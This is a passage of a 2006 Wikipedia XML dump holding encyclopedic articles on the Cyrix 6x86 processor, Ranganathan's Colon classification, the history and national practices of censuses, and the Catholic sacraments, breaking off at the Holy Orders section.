The '''Cyrix 6x86''' is a sixth-generation, [[32-bit]] [[80x86]]-compatible [[microprocessor]] designed by [[Cyrix]] and manufactured by [[International Business Machines|IBM]] and SGS-Thomson. The 6x86 combines aspects of both [[RISC]] and [[CISC]]. It has a [[superscalar]], [[superpipelined]] core, and performs [[register renaming]], [[speculative execution]], [[out-of-order completion]], and [[data dependency removal]]. It has a 16-[[kilobyte]] primary [[CPU cache|cache]] and is socket-compatible with the [[Intel Pentium P54C]].  It was also unique in that it was the only [[x86]] design to incorporate a 256-byte ''Level 0'' scratchpad cache.  It has six performance levels: PR 90+, PR 120+, PR 133+, PR 150+, PR 166+ and PR 200+. These performance levels do not map to the clock speed of the chip itself (for example, a PR 133+ ran at 110MHz, a PR 166+ ran at 133MHz, etc). The 6x86L was later released by [[Cyrix]] to address heat issues; the ''L'' standing for ''low-power''.

The architecture of the 6x86 is more advanced than that of the [[Intel Pentium]], incorporating some of the features of the [[Intel Pentium Pro]] but for [[Socket 7]]. At a given clock rate it executes most code more quickly than a Pentium would. However, its [[FPU]] is considerably less efficient than Intel's.

Note that the 6x86 and 6x86L weren't completely compatible with the [[Intel Pentium]] instruction set. It is for this reason that by default the chip identified itself as a [[486]] and disabled the CPUID instruction. CPUID support could be enabled by first enabling extended CCR registers then setting bit 7 in CCR4.

A later release of the 6x86, the '''6x86MX''', added [[MMX]] compatibility and quadrupled the primary cache size to 64 kilobytes.

==External links==
*[http://www.cpu-collection.de/?l0=co&amp;l1=Cyrix&amp;l2=6x86 cpu-collection.de] Cyrix 6x86 processor images and descriptions 




{{FOLDOC}}

[[Category:x86 microprocessors|Cyrix 686]]

[[fi:Cyrix 6x86]]
[[zh:Cyrix 6x86]]</text>
    </revision>
  </page>
  <page>
    <title>Colon classification</title>
    <id>6888</id>
    <revision>
      <id>38594211</id>
      <timestamp>2006-02-07T09:32:26Z</timestamp>
      <contributor>
        <ip>195.83.76.99</ip>
      </contributor>
      <comment>/* Classes */</comment>
      <text xml:space="preserve">'''Colon classification''' ('''CC''') is a system of [[library classification]] developed by [[S. R. Ranganathan]]. It was the first ever [[Faceted classification|faceted]] (or analytico-synthetic) [[classification]]. It is especially used in [[library|libraries]] in [[India]].

Its name &quot;Colon classification&quot; comes from the use of [[Colon (punctuation)|colons]] to separate facets in class numbers. However, many other classification schemes, some of which are completely unrelated, also use colons and other [[punctuation]] in various functions. They should not be confused with Colon classification.

As an example, the subject &quot;research in the cure of tuberculosis of lungs by x-ray conducted in India in 1950&quot; results in a call number

:L,45;421:6;253:f.44'N5

The components of this call number represent

:Medicine,Lungs;Tuberculosis:Treatment;X-ray:Research.India'1950

== Organization ==

The Colon Classification uses 42 main classes that are combined with other letters, numbers and marks in a manner reminiscent of the [[Library of Congress Classification]] to sort a publication.

=== Facets ===

CC uses five primary categories, or facets to further specify the sorting of a publication collectively called 'PMEST'.

: , personality
: ; matter or property
: : energy
: . space
: ' time

=== Classes ===

The following are the main classes of CC, with some subclasses, the main method used to sort the subclass using the PMEST scheme and examples showing application of PMEST.

:A Generalia 
:1 Universe of Knowledge
:2 Library Science
:3 Book Science
:4 Journalism
:B Mathematics
::B1 Arithmetic
:::B13 Theory of Numbers
::B2 Algebra
:::B23 Algebraic Equations
:::B25 Higher Algebra
::B3 Analysis
:::B33 Differential Equations ''[equation] , [degree] , [order] : [problem]
::::B331,1,2:1 Numerical solutions ('':1'') of ordered (33''1'') linear ('',1'') second order ('',2'') differential equations
:::B37 Real Variables
:::B38 Complex Variables
::B4 Other Methods
::B6 Geometry
::B7 Mechanics
::B8 Physico-Mathematics
::B9 Astronomical Mathematics
:C Physics
::C1 Fundamentals of Physics
::C2 Properties of Matter
::C3 Sound
::C4 Heat
::C5 Light and Radiation
::C6 Electricity
::C7 Magnetism
::C8 Cosmic Hypothesis
:D Engineering
:E Chemistry
:F Technology
:G Biology
:H Geology
::HX Mining
:I Botany
:J Agriculture
:L Medicine
::LZ3 Pharmacology
::LZ5 Pharmacopoeia
:M Useful arts
:Ð Spiritual experience and mysticism
:N Fine arts
::NA Architecture ''[style] , [utility] , [part] : [technique]''
::ND Sculpture ''[style] , [figure] ; [material] : [technique]''
::NN Engraving
::NQ Painting ''[style] , [figure] ; [material] : [technique]''
::NR Music ''[style] , [music] ; [instrument] : [technique]''
:O Literature
:P Linguistics
:Q Religion
:R Philosophy
:S Psychology
:T Education
:U Geography
:V History
:W Political science
:X Economics
:Y Sociology
:Z Law

==See also==
*[[Bliss bibliographic classification]]
*[[Universal Decimal Classification]]

[[de:Colon-Klassifikation]]
[[it:Classificazione Colon]]
[[Category:Knowledge representation]]
[[Category:Library and information science]]

==External links==

* [http://www.iskoi.org/doc/colon.htm More Detail about the Colon Classification at ISKO Italia]

{{Standard-stub}}
[[Category:Classification systems]]</text>
    </revision>
  </page>
  <page>
    <title>Census</title>
    <id>6889</id>
    <revision>
      <id>41878391</id>
      <timestamp>2006-03-02T08:36:48Z</timestamp>
      <contributor>
        <username>Pepith</username>
        <id>693210</id>
      </contributor>
      <comment>Corrected Statistics New Zealands Maori title</comment>
      <text xml:space="preserve">[[Image:1870 census Lindauer Weber 01.gif|thumb|1870 US Census for New York City]]
A '''census''' is the process of obtaining information about every member of a [[population]] (not necessarily a [[human]] population). It can be contrasted with [[sampling (statistics)|sampling]] in which information is only obtained from a subset of a population. As such it is a method used for accumulating [[statistics|statistical]] data, and it is also vital to [[democracy]] ([[voting]]).  Census data is also commonly used for research, business [[marketing]], and planning purposes.

==Ancient and medieval censuses==
[[Ancient Rome|Rome]] conducted censuses to determine [[tax|taxes]] (''see [[Censor (ancient Rome)|Censor]]'').

The [[Bible]] relates stories of several censuses. The [[Book of Numbers]] describes a divinely-mandated census that occurred when [[Moses]] led the [[Israelite|Israelites]] from [[Egypt]]. A later census called by King [[David]] of [[Kingdom of Israel|Israel]], referred to as the &quot;[[numbering of the people]],&quot; incited divine retribution (for being militarily motivated or perhaps displaying lack of faith in God). A [[Roman census]] is also mentioned in one of the best known passages of the Bible in the [[Gospel of Luke]].

The world's oldest extant census comes from [[China]] during the [[Han Dynasty]]. Taken in the fall of 2 AD, it is considered by scholars to be quite accurate. At that time there were 57.5 million living in Han China, the world's largest population. The second oldest preserved census is also from the Han, dating back to 140 AD, when only a bit more than 48 million people were recorded. Mass migrations into what is today southern China are believed to be behind this massive demographic decline.

In the [[Middle Ages]], the most famous census is the [[Domesday Book]], undertaken in 1086 by [[William I of England]] &quot;to find out ... what or how much each landholder had in land and livestock, and what it was worth,&quot; so that he could properly tax the land he had recently conquered. In 1183, a census was taken of the [[crusade]]r [[Kingdom of Jerusalem]], to ascertain the number of men and amount of money that could possibly be raised against an invasion by [[Saladin]], sultan of [[Egypt]] and [[Syria]].

==Modern censuses==

===Australia===
The [[Australia]]n census is run by the [[Australian Bureau of Statistics]]. It is carried out every five years, the last one being on [[August 7]], [[2001]] and the next planned census is [[August 8]], [[2006]]. Past Australian censuses were conducted in 1901, 1921, 1933, 1947, 1954, 1961, 1966, 1971, 1976, 1981, 1986, 1991, 1996, and 2001.

===Brazil===

The [[Brazil|Brazilian]] census is carried out by [[IBGE]], the [[Brazil|Brazilian]] Institute of Geography and Statistics, every 10 years. The last one was in 2000.

===Canada===
The [[Canada|Canadian]] census is run by [[Statistics Canada]]. The [[1666 census of New France|first census conducted in Canada]] was conducted in 1666, by [[France|French]] [[intendant of New France|intendant]] [[Jean Talon]], when he took a census to ascertain the number of people living in [[New France]]. In 1871, Canada's first formal census was conducted, which counted the population of [[Nova Scotia]], [[Ontario]], [[New Brunswick]], and [[Quebec]]. In 1918, the [[Dominion Bureau of Statistics]] was formed, and replaced by Statistics Canada in 1971. 

Censuses in Canada are conducted in five-year intervals. The last census was conducted in 2001 and the next planned census is 2006. Censuses taken in mid-decade (1976, 1986, 1996, etc.) are referred to as [[quinquennial]] censuses. Others are referred to as [[decennial]] censuses. The first quinquennial census was conducted in 1956.

For the 2006 Census of Canada, respondents will be able to choose to complete their census questionnaire online.

See also: [[Canada 2001 Census]]

===Costa Rica===

[[Costa Rica]] carried out its [[Costa Rica 2000 Census|9th population census]] in 2000. [[INEC]], ''National Institute of Statistics and Census'' is in charge of conduct these census. Past Costa Rican censuses were realized in 1864, 1883, 1892, 1927, 1950, 1963, 1973 and 1984.

===Denmark===
The first [[Denmark|Danish]] census was in 1700-1701, and contained statistical information about adult men. Only about half of it still exists. A census of school children was taken during the 1730s. 

Following these early undertakings, the first census to attempt completely covering all citizens (including women and children who had previously been listed only as numbers) of [[Denmark-Norway]] was taken in 1769 [http://www.rhd.uit.no/census/ft1769.html]. At that point there were 797 584 citizens in the kingdom. [[Georg Christian Oeder]] took a statistical census in 1771 which covered [[Copenhagen]], [[Sjælland]], [[Møn]], and [[Bornholm]].

After that, censuses followed somewhat regularly in 1787, 1801, and 1834, and between 1840 and 1860, the censuses were taken every five years, and then every ten years until 1890. Special censuses for Copenhagen were taken in 1885 and 1895. 

In the 20th century, censuses were taken every five years from 1901 to 1921, and then every ten years from 1930. The last census was taken in 1950. Currently, [[Det Centrale Personregister]] is doing the censuses using their register of Danish citizens.

It is possible to search a portion of the Danish censuses online at [http://ddd.dda.dk/ Dansk Demografisk Database], and also view scanned versions at [http://www.arkivalieronline.dk/ Arkivalier Online].

===France===
[[Napoleon I of France|Napoleon Bonaparte]] began the census in France as a means of determining the number of potential soldiers under his rule. Today, the census in [[France]] is carried out by [[INSEE]]. Since 2004, a partial census is carried out every year, and the results published as averages over 5 years.

===Germany===
The first large-scale census in the German Empire took place in [[German census of 1895|1895]]. Attempts at introducing a census in [[Germany]] sparked strong popular resentment in the 1980s since many quite personal questions were asked. Some campaigned for a boycott. In the end the Constitutional Court stopped the census in 1980 and 1983. The last census was in 1987. Germany has since used population samples in combination with statistical methods, in place of a full census.

===Greece===
Census takes place every 10 years and is carried out by the National Statistical Service of Greece [http://www.statistics.gr]. Last census was in 2001.

===India===

The decennial census of [[India]] is the primary source of information about the demographic characteristics of the [[population of India]] which is the second biggest country of the world in terms of population.

The first census in India is dated [[1872]]. It started as far back as in [[1860]] and was finished in [[1871]]. Starting from there, a population census has been carried out every 10 years, latest being the fourteenth in February - March [[2001]].

Census is carried out by the office of the [[Registrar General and Census Commissioner, India]], [[Delhi]] under the Census of India Act, 1948. The act gives Central Government many powers like to notify a date for Census, power to ask for the services of any citizen for census work. The law makes it compulsory for every citizen to answer the census questions truthfully. The Act provides penalties for giving false answer or not giving answers at all to the census questionnaire. One of the most important provisions of law is the guarantee for the maintenance of secrecy of the information collected at the census of each individual. The census records are not open to inspection and also not admissible in evidence.

Census happens in two phases, first House Listing and House Numbering Operations and second actual population enumeration phase. Census is carried out by the canvassing method. In this method, each and every household is visited and the information is collected by a specially trained enumerator.

9th February 2001, the first day of the 2001 census was celebrated as the census day.

====Source====
*[http://www.censusindia.net/ Website of the office of the Registrar General and Census Commissioner, India]
*[http://www.unfpa.org/sustainable/docs.htm Banthia J.K., Ex Registrar General &amp; Census Commissioner, India. &quot;Mobilising Support for India’s Census - Constraints and Challenges&quot;]

===Ireland===
The census in [[Ireland]] is carried out by the [[Central Statistics Office (Ireland)]].  The last one was held during 2002 and the next one will be in April 2006. 
*[[http://www.cso.ie/ Web site of the Central Statistics Office Ireland]

===Italy===
The census in [[Italy]] is carried out by [[Istituto Nazionale di Statistica|ISTAT]] every 10 years. The last four were in 1971, 1981, 1991, 2001.

===Japan===
[[Japan]] collects census information every five years. The figures show the English translation of the 2005 census form. The form solicits information on name, sex, relationship to head of household, year and month of birth, marital status, nationality, number of members of household, type and nature of dwelling, floor area of dwelling, number of hours worked during the week prior to October 1, employment status, name of employer and type of business, and kind of work.
&lt;gallery&gt;
Image:CensusSide1.png|Explanation of census form, side 1
Image:CensusSide2.png|Explanation of census form, side 2
&lt;/gallery&gt;

===Latvia===
The most recent census in Latvia was in 2000. Before that, it was about 6 censuses, most part of these previous censuses was in the USSR time. The census in [[Latvia]] is carried out by [[Centr&amp;#257;l&amp;#257; Statistikas P&amp;#257;rvalde]] (Central Statistical Bureau).

===New Zealand===
The census in [[New Zealand]] is carried out by [[Statistics New Zealand]] (Tatauranga Aotearoa), every five years. The last was in 2001, the next will be in 2006. For the 2006 Census of New Zealand, respondents can choose to complete their census questionnaire online. See [[New Zealand Census of Population and Dwellings]].

===Poland===
The census in [[Poland]] is carried out by [[GUS (Poland)|GUS]] every circa 10 years. The last one occurred in 2002.

===Portugal===
The census in [[Portugal]] is carried out by [[Instituto Nacional de Estatistica|INE]] every 10 years. The last one occurred in 2001.

===Romania===
The first census in Romania was carried out in 1859. Nowadays it is carried every ten years by the [[Institutul Naţional de Statistică]] (INSSE). The last one occurred in 2002.

===Russia/USSR===
In [[Russia]], the first (and the only) [[Russian Empire Census]] was carried out in [[1897]]. All-Union Population Censuses were carried out in the [[Soviet Union|USSR]] (which included [[Russian SFSR|RSFSR]] and the other republics) in [[1920]], [[1926]], [[1939]], [[1959]], [[1970]], [[1979]], and [[1989]]). The first post-Soviet [[Russian Census (2002)|Russian Census]] was carried out in [[2002]].  The next census is tentatively planned for [[2010]].  Currently, the census is the responsibility of the [http://www.gks.ru Federal State Statistics Service.]

===South Africa===
The census in [[South Africa]] is carried out every 5 years by [[Statistics South Africa]]. The only two to date were in 1996 and [[2001]].

===Ukraine===
The first post-Soviet [[Ukrainian Census (2001)|Ukrainian Census]] was carried out by [http://www.ukrcensus.gov.ua/eng/ State Statistics Committee of Ukraine] in 2001, twelve years after the last All-Union census in 1989.

===United Kingdom===
{{main|Census in the United Kingdom}}

In the [[7th century]], [[Dalriada]] (now [[Scotland]]) was the first territory in what is now the UK to conduct a census, with what was called the &quot;Tradition of the Men of [[Alba]]&quot; ''([[Senchus fer n-Alban]])''. [[England]] took its first Census when the [[Domesday Book]] was compiled in 1086 for tax purposes. 

Following the influence of [[Malthus]] and concerns stemming from his ''An Essay On The Principle Of Population'' the UK census as we know it today started in 1801. This was championed by [[John Rickman]] who managed the first four up to 1831, partly to ascertain the number of men able to fight in the [[Napoleonic wars]]. Rickman's 12 reasons - set out in 1798 and repeated in Parliamentary debates - for conducting a UK census included the following justifications:
* 'the intimate knowledge of any country must form the rational basis of legislation and diplomacy'
* 'an industrious population is the basic power and resource of any nation, and therefore its size needs to be known'
* 'the number of men who were required for conscription to the militia in different areas should reflect the area's population'
* 'there were defence reasons for wanting to know the number of seamen'
* 'the need to plan the production of corn and thus to know the number of people who had to be fed'
* 'a census would indicate the Government's intention to promote the public good' and
* 'the life insurance industry would be stimulated by the results.'

The census has been conducted every ten years since 1801 and most recently in 2001. The first four censuses (1801-1831) were mainly statistical (that is, they were mainly headcounts and contained virtually no personal information). The 1841 Census was the first to record names of all individuals in a household or institution.

Because of [[World War II]], there was no census in 1941. However, following the passage into law (on [[5 September]] [[1939]]) of the '''National Registration Act''' a population count was carried out on [[29 September]] [[1939]], which was, in effect, a census.

The census is undertaken for the government by the [[Office for National Statistics]] (ONS) for policy and planning purposes, and the (statistical) information is also sold to interested parties. Public access to the census returns is restricted under the terms of the 100-year rule and the most recent returns made available to researchers are those of the 1901 Census.
 
The census is usually very accurate, and with a fine of up to £1,000 for those who do not complete it, filled in by a high percentage of the population. An exception may have been the census conducted during the years of the [[poll tax]] (1991), when some people avoided it in case it was used for enforcing the tax.

The [[United Kingdom Census 2001|2001 census]] was the first year in which the government asked about religion. Perhaps encouraged by a hoax chain letter that started in [[New Zealand]], 390,000 people entered their religion as ''[[Jedi|Jedi Knight]]'' (more than either [[Sikh]]s, [[Buddhist]]s or [[Jew]]s), with some areas registering up to 2.6% of people as &quot;Jedi&quot;. It was wrongly implied in emails that stating &quot;Jedi&quot; on the form would cause it to become an &quot;official religion&quot;. No such thing exists in the United Kingdom. However, the director of reporting and analysis at the ONS stated that it may have helped with the collection process as it encouraged young people, who are often missed, to complete forms. (See [[Jedi census phenomenon]].)

===United States===
{{main|U.S. Census}}
The [[United States Constitution]] mandates that the census be taken at least once every ten years ([[Congress of the United States|U.S. Congress]] could require a more frequent census by legislation), and that the number of members of the [[House of Representatives]] from each state be determined accordingly. In addition, [[United States Census Bureau|Census Bureau]] statistics are used for apportioning Federal funding for many social and economic programs. But there is not a federal census legislation (nor for federal voting).

The first [[U.S. Census]] was taken in 1790 by the local [[United States Marshals Service|U.S. Marshals]]. Census-takers went door-to-door and recorded the number of people in each household, and the name of the head of the household. Slaves were counted, but for apportionment purposes each counted as only [[three-fifths compromise | three-fifths]] of a citizen. American Indians being neither taxed nor considered during apportionment, were not counted. The first census counted 3.9 million people, less than half the population of New York City in 2000. The 2000 census counted over 281 million people.

In 1902, a [[Public Law]] established the Census Bureau as a permanent Federal agency. Until the 2010 census, there were two forms of questionnaire &amp;ndash; long and short. Currently, the plan is to replace the Long form in 2010 with the [[American Community Survey]] (ACS), but funding for ACS is not assured, in which case there may be a long form in the 2010 census. Computer [[algorithm]]s (based on complex sampling rules) determine which form was mailed to a given household (in practice, of those households whose locations are on the Census Master Address List), one in six receiving the long form. This was supplemented by census workers who go door-to-door to talk to people who fail to return the forms. In addition to a simple count of residents, the Census Bureau collects a variety of statistics, on topics ranging from [[ethnicity]] to the presence of indoor [[plumbing]]. While some critics claim that census questions are an invasion of privacy, the data collected by every question is either required to enforce some federal law (such as the [[Voting Rights Act]]) or is required to administer some federal program. [[Congress]] gives approval to every question asked on the Census.

Despite a massive effort, the Census Bureau has never been able to count every individual, leading to controversy about whether to use statistical methods to supplement the numbers for some purposes, as well as arguments over how to improve the actual head count. The [[Supreme Court of the United States|Supreme Court]] has ruled that only an actual head count can be used to apportion Congressional seats; however, cities and minority representatives have complained that urban residents and minorities are undercounted. In several cases, the Census Bureau will recount an area with disputed figures, provided the local government pays for the time and effort. The State of [[Utah]] protested the figures of the 2000 decennial census because it lost a seat in the House of Representatives to [[North Carolina]]. Had the Census Bureau been able to count the numbers of Utahns living overseas, including many [[Mormon]] missionaries, Utah would have retained the seat. 

To minimize the burden on individuals and to provide improved data, the Bureau is preparing several alternative methods for gathering economic, demographic, and social information, including the [[American Community Survey]] and [[record linking]] of depersonalized administrative records with other administrative records and Census Bureau surveys.

By law (92 Stat. 915, Public Law 95-416, enacted on October 5, 1978), census records are sealed for 72 years; in an era when life expectancy was under 60 years, this attempts to protect individual's privacy by prohibiting the release of such information during their expected lifetimes. Thus, the most recent Census released to the public was the 1930 Census, released in 2002.

Indexes to some of the U.S. Censuses have been produced over the years, making the process of searching old census records much easier. Some indexes of census records have been produced by amateur volunteer genealogists. Due to the sheer volume of information, and the manual methodologies involved, the indexing used to be limited to the head-of-household. These indexes were published in bound volumes and are often available in regional libraries along with microfilm rolls that can be researched. 

While valuable, indexes produced from these censuses can be problematic to use. The original census records from this era were completed by hand by census enumerators; this leads to problems in handwriting recognition and variations in spelling of surnames within the original documents. 

The 1880 to 1920 censuses have indexes of last names, produced using the [[Soundex]] system; the indexing project was performed by the [[Works Progress Administration]]. The Soundex system is tolerant of variations in spelling; names with similar sounds but different spellings have the same encoding. The chief motivation in producing the Soundex name indexes was to assist citizens in finding census records to provide evidence of age, especially for those born before the advent of governmentally-approved birth certificates. (Verification of age was needed to establish eligibility for old-age benefits such as [[Social Security (United States)|Social Security]]). Partial Soundex indexes of the 1930 census are available; resources from the Works Progress Administration were diverted towards support of [[World War II]] efforts before the project was completed.

With the advent of computers, and more recently, the Internet, expanded indexes including all family members are beginning to appear on genealogy websites. These are accompanied with hypertext links that take the researcher directly to an image of the original census page, without having to travel to a regional library and scroll through endless rolls of microfilm.

Genealogists view censuses as secondary sources of information; primary sources of information such as birth certificates are viewed as more reliable. Still, census information often provides useful information for genealogists and clues on where to proceed to find further primary source documents.

====Local====

In additional to the decennial federal census, more localized versions are often used. An example of this is [[Massachusetts]], which takes a statewide census every fifth year. Likewise, each community in Massachusetts takes a municipal census each year.

[[Category:Population]]

====Sources====

*[http://www.census.gov/Press-Release/www/releases/archives/miscellaneous/000507.html U.S. Census Press Release on 1930 Census]
*[http://www.archives.gov/publications/prologue/spring_2002_soundex_projects.html U.S. Census Press Release on Soundex and WPA]
*Bielenstein, Hans. &quot;Wang Mang, the restoration of the Han dynasty, and Later Han.&quot; In ''The Cambridge History of China'', vol. 1, eds. Denis Twitchett and John K. Fairbank, 223-90 (Cambridge: Cambridge University Press, 1978).
*[http://www.statistics.gov.uk/cci/nugget.asp?id=297 Effects of UK 'Jedi' hoax on 2001 UK census from ONS]

==External links==
*[http://www.archives.gov/genealogy/census/ Census at the U.S. National Archives]
*[http://www.censusscope.org CensusScope] Easy-to-navigate data, charts, maps, and graphs of U.S. Census Data.
*[http://www.censusfinder.com Census Finder - Links to census records online for the U.S., UK and Canada]
*[http://www.histpop.org Online Historical Population Reports Project (OHPR)]
*[http://statbel.fgov.be/census/links_en.asp Links to the official websites of various national censuses]
[[Category:Data collection]]

[[af:Sensus]]
[[da:Folketælling]]
[[de:Volkszählung]]
[[el:Απογραφή]]
[[es:Censo de población]]
[[eo:Censo]]
[[fr:Recensement]]
[[ko:인구 조사]]
[[id:Sensus]]
[[is:Manntal]]
[[it:Censimento]]
[[he:מפקד אוכלוסין]]
[[hu:Népszámlálás]]
[[nl:Volkstelling]]
[[ja:国勢調査]]
[[no:Folketelling]]
[[pl:Spis statystyczny]]
[[pt:Censo]]
[[ru:Перепись населения]]
[[simple:Census]]
[[sl:Popis prebivalstva]]
[[su:Sénsus]]
[[vi:Thống kê dân số]]
[[uk:Перепис населення]]
[[zh:人口普查]]</text>
    </revision>
  </page>
  <page>
    <title>Catholic sacraments</title>
    <id>6894</id>
    <revision>
      <id>41202678</id>
      <timestamp>2006-02-25T19:30:38Z</timestamp>
      <contributor>
        <username>Carolynparrishfan</username>
        <id>275342</id>
      </contributor>
      <text xml:space="preserve">__NOTOC__
: ''This article is about the sacramental doctrines of the [[Roman Catholic Church]].  For those of the [[Eastern Orthodoxy|Eastern Orthodox]], [[Eastern Catholic Churches]], and [[Oriental Orthodoxy|Oriental Orthodox]] churches, see [[Sacred Mysteries]].
The practice of the [[Catholicism|Roman Catholic Church]] includes '''seven sacraments'''. As defined by Catholics, a [[sacrament]] is a material and spoken action which confers [[divine grace]] upon a person, especially what is called [[sanctifying grace]], i.e. a particular salvific effect.

There are seven sacraments:

*'''[[Baptism]]'''
*'''[[Confession (sacrament)|Penance and Reconciliation]]''' (informally called ''Confession'')
*'''[[Eucharist]]''' (informally called ''Communion'')
*'''[[Confirmation (sacrament)|Confirmation]]''' (in Eastern Catholic Churches and the Orthodox Church, equivalent to [[chrismation]])
*'''[[Christian view of marriage|Holy Matrimony]]'''
*'''[[Holy Orders]]'''
*'''[[Anointing of the Sick]]''' (also called ''Extreme Unction'')

Sacraments have a ''form'' and ''matter.'' A ''form'' is the verbal and physical liturgical script. The ''matter'' refers to any material objects used. Both these need to be present and followed for the sacrament to have its effect. Many sacraments are also only supposed to be done by a specific type of person, but there are exceptions allowed for emergencies. One final criteria for the sacrament to work is that the minister has to have the same intention in performing the sacrement as the church does. Someone teaching a priest how to do a baptism is not intending to perform one. There might customarily be a large amount of ritual besides the form and matter, but nothing is strictly necessary besides the form and matter.

A rite that has the intended sacramental effect is a '''valid''' sacrament.  Catholics hold that only a [[priest]] properly ordained by a [[bishop]] who is in a succession of bishops dating back to the [[Twelve Apostles|Apostles]] can perform the miraculous [[transubstantiation]] necessary for the validity of the Eucharist, and only such a priest can absolve sins of penitents.  Such a priest need not be a Catholic in order that those sacraments be valid; priests of the [[Eastern Orthodoxy]] also have the requisite mystical powers.  [[Protestant]] ministers, as they deny the doctrine of transubstantiation, do not. (It is a debated point among Catholic theologians whether [[Anglican]] priests have maintained apostolic succession. In fact some Anglican bishop ordinations in the 19th century were carried out by [[Old Catholic]] bishops, in order to re-establish apostolic succession, which some Anglican theologians feared had been lost.)  

However, validity differs from licitness.  Although an unordained person--even a non-Christian--can validly baptize, that is illegal except in emergencies.  After an illicit but valid baptism, the baptized person may not be baptized again; that is determined by validity, not by licitness, though if the baptized person survives, he or she can have a ceremony containing the additional rites that were left out in the emergency baptism.  Similarly, a priest who is not a bishop can validly perform the sacrament of confirmation, but in [[Latin Rite|Latin-rite]] Catholic churches, that is forbidden without an explicit permission from a bishop. Also, the ordination of a bishop by another bishop without the permission of the Pope is valid, but illicit (and also punished by automatic [[excommunication]]). Five of the seven sacraments can be validly performed only by a priest--the two exceptions being baptism and matrimony--and one only by a bishop: holy orders.  

Three of the seven sacraments may be received only once in a lifetime because they make an indelible [[sacramental character]] on the recipient's soul: baptism, confirmation, and ordination to a particular order (for example, a man who has been ordained a deacon can be ordained a priest, but cannot again receive the diaconal ordination). In case of uncertainty about whether a person has received one of those three sacraments at an earlier time, he or she may receive the sacrament conditionally.  In a [[conditional baptism]], the minister of the sacrament, usually a deacon or a priest, rather than saying 'I baptize you in the name of the Father and of the Son and of the Holy Spirit,' says 'If you are not baptized, I baptize you' etc.  The reason for this prohibition is that these three sacraments are held to imprint a [[sacramental character]] on the recipient's soul.

== Baptism ==
''Baptism'' is the sacrament by which one enters the Catholic church. Once baptized, a person is washed away of all the guilt for their past sins, especially [[original sin]]. It confers [[sanctifying grace]], and creates the responsibility to the baptized to live a holy life (see the [[Universal call to holiness]].) The ''form'' of baptism is washing some or all of the body with water while saying the words ''I baptize you in the name of the Father, Son and Holy Ghost''. It is normally administered to infants in the Church, but may be administered to any person who is not yet validly baptized. Baptism is considered to be valid even if carried out in another Christian religion, as long as pouring of or immersion in natural water was accompanied by the [[Trinitarian formula]]. Adults who convert are thus only baptized if their previous baptism was not valid. In case of doubt, a convert may be baptized ''sub conditione'', using the word &quot;''If you are not baptized already, I baptize you...''.&quot;  

Sacraments are fundamentally different from what are called [[sacramentals]] (things such as normal blessings, crosses, medals, holy water). The usefulness of these depend on the subjective understanding of the people involved. Sacraments work under the system called [[ex opere operato]]. That is, 'by the work performed': a person intending to perform a baptism by sprinkling water in the name of the Trinity causes the grace of God to actually work, even though he might not fully understand the theology behind the sacrament.  Indeed, by this doctrine, even a non-Christian can validly baptize.  This distinction is illustrated thus: holy water, a sacramental, has no power in and of itself--it is the sacrement of baptism that holds the power. The usual minister of baptism is a deacon, a priest, or a bishop.

== Eucharist ==
The ''Eucharist'' (Communion), is the unbloody sacrifice of [[Christ]], marked by partaking in the Body and Blood of Christ, which replace bread and wine.  The changing of the bread and wine into the Body and Blood of Jesus Christ, held by Roman Catholic [[dogma]] to occur, is called [[transubstantiation]]. [[Viaticum]] is the Eucharist administered to a dying person for the purpose of strengthening him for his final journey. The minister of this sacrament is the priest (or bishop) who consecrates the eucharistic elements of bread and wine.

== Penance and Reconciliation ==
''Penance and Reconciliation'', also called ''confession'', involves the admitting of one's [[sins]] to a priest, who, by Christ, is given the power to absolve them.  The priest (or Bishop) is acting ''[[Persona Christi]]'', in the person or place of Jesus.  By this absolution, one is reconciled to Christ, from whom he has been separated due to his sins (and whom he has wounded by his sins). The priest also assigns penance, a task the penitent should complete in order to achieve [[absolution]] (forgiveness) from God.  Absolution is not complete until the penance is performed.  The penitent must also make reparations to anyone he may have sinned against, if this is possible.   

Absolution of one's sins does not remove the consequences that one might suffer due to his sins. the sacrament places emphasis on the restoration of the relationship between the sinner and Christ, and those the sinner has wounded through his sins.

This sacrament is sometimes called a tribunal.  The penitent is, at once, the accuser (as he admits his sins), the accused (as he accepts responsibility), and the witness (as he testifies to what has occurred).  The priest acts for Christ as judge and intercessor; a priest will only give absolution if the penitent exemplifies true sorrow for his sins and resolves not to commit them again.  However, all are encouraged to confess sins, even if sorrow for his sins are imperfect and only for fear of God, for those who die in ''[[mortal sin]], '' --as opposed to ''[[venial sin]]'' --will not reach heaven.

The priest is bound by the ''seal of confession.''  This binds the priest to never speak of what he has heard in the confessional to anyone; if he does, he automatically incurs the punishment of excommunication, no matter the content of the revalation.

Early [[21st century]] decisions by the Church prohibit the sacrament from being administered through any electronic communications medium such as email.

== Confirmation ==
''Confirmation'' is a sacrament received by the baptized to impart sanctifying grace and strength to be perfect Christians. The ''form'' is the Bishop putting his hands upon the person to be confirmed. The age for the reception of confirmation varies by country or even diocese; in Latin-rite Catholic churches it ranges from seven to fifteen; recipients must have attained the ''age of reason''.  In Eastern-rite Catholic churches, as in other Eastern churches, [[neonate]]s are confirmed immediately after baptism (as was done historically in the Catholic church), via the rite of chrismation.

Adult converts from [[Protestantism]] who were previously baptized with a [[trinitarian formula]] are received into communion in the Catholic Church by confirmation.  Converts from [[Eastern Orthodoxy]] or [[Oriental Orthodoxy]] who were chrismated in those Eastern churches are not confirmed, because their [[chrismation]] in an Eastern church, unlike confirmation in Protestant churches, is held to be a valid confirmation, and confirming someone who has already been confirmed is forbidden by one of the doctrines of the [[Council of Trent]].  

In Latin-Rite Catholic churches, usually the bishop is the ordinary minister of this sacrament.  In certain circumstances a parish priest may administer it after having received permission from the bishop. In the case of adult converts, this permission is automatic.  In [[Eastern Rites|Eastern-Rite]] Catholic churches, the usual minister of this sacrament is the parish priest. When the bishop does not administer the sacrament personally, his presence is represented by the sacred [[chrism]] or [[myron]], which the bishop blesses on [[Holy Thursday]] each year.

== Matrimony ==
''Holy Matrimony'' is the joining of a man and woman in marriage in the presence of the Church and of God.  It is one of two sacraments that Catholics hold to be validly administered by one who is not a priest (the other is baptism), because the ministers of the sacrament are the two parties to the marriage. Catholics are required by Church discipline, however, to celebrate the sacrament with a priest or [[deacon]] as a witness.

The administration of this sacrament also plays a more mundane role in providing a sense of how active a [[parish church]] is.  Bishops sometimes use a [[sacramental index]] to measure parish activity, as they allocate priests and resources to serve the needs of their parishoners.

== Holy Orders ==
